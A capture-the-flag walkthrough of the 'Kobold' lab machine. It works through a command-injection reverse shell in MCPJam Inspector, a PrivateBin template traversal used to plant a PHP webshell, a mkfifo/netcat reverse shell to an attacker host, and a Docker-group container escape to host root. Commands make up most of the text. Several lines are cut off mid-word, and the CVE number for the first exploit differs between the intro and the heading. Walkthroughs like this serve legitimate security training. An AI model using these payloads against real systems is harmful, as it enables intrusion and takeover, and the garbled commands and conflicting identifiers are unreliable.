Kobold writeup & walkthrough

MCPJam Inspector command injection (CVE-2026-23744) for initial access; Docker group escape via privileged container with host filesystem mount.

Enumeration

The web server on 443 gives nothing useful, so straight to subdomain fuzzing.

I used ffuf here rather than wfuzz. Wfuzz just errors out on this target, and I did not feel like debugging a fuzzer when another one works:

ffuf -u https://$IP -k -H "Host: FUZZ.kobold.htb" \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -mc all -fs 154 -t 300

Two hits: mcp.kobold.htb and bin.kobold.htb. Both go in /etc/hosts.

bin.kobold.htb is a PrivateBin instance. Keep it in mind, it comes back later.

Foothold: CVE-2025-64714, MCPJam Inspector command injection

mcp.kobold.htb is MCPJam Inspector v1.13.0, and that version has a known one.

/api/mcp/connect hands serverConfig.command straight to child_process.spawn(). No auth, no sanitisation (GHSA-g2j9-g8r5-rg82). You just tell it what to run.

Listener first:

nc -lvnp 4444

Then ask it nicely:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig":{
      "command":"/bin/bash",
      "args":["-c","bash -i >& /dev/tcp/ATTACKER/4444 0>&1"],
      "env":{}
    },
    "serverId":"test"
  }'

Shell as ben.

Privilege escalation

There are two ways up from here. The intended one goes back through PrivateBin. The other one is a misconfiguration that skips most of it.

Intended path: CVE-2025-62796 in PrivateBin

PrivateBin picks its template from a cookie and does not check points, so you can traverse out of the template directory and you can write.

Drop a one line webshell in /data, which the web user can wr

echo '<?php system($_REQUEST["cmd"]); ?>' > /data/strikoder.php

Then point the template cookie at it. Leave the .php off, PrivateBin appends that itself:

curl -k --cookie 'template=../data/strikoder' 'https://bin.kob

That is code execution. From here you can either read your way /srv/cfg/config.php through the webshell, or take a proper shell and look around. Either works. I took the shell:

curl -k --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER 443 >/tmp/f' \
  --cookie 'template=../data/strikoder' 'https://bin.kobold.htb/'

config.php has a password sitting in it, and it gets you int 3552 as arcane.

Arcane manages Docker, which means it will happily build you a container to whatever spec you ask for. Create one with the host root mount then open its shell from settings and list /mnt. Those are the host's root files.

Unintended path: the docker group

Running LinEnum-ng as ben flags something the intended path never needs: ben is in the docker up in gshadow, which is why id alone does not give it away.

The membership is dormant in this shell, so claim it:

newgrp docker

From there it is the standard escape. Any local image will do, and PrivateBin is already pulled:

docker images   # privatebin/nginx-fpm-alpine:2.0.2

Mount the host root inside a container running as uid 0:

docker run -it --rm --user 0 --entrypoint /bin/sh \
  -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2

chroot /mnt /bin/sh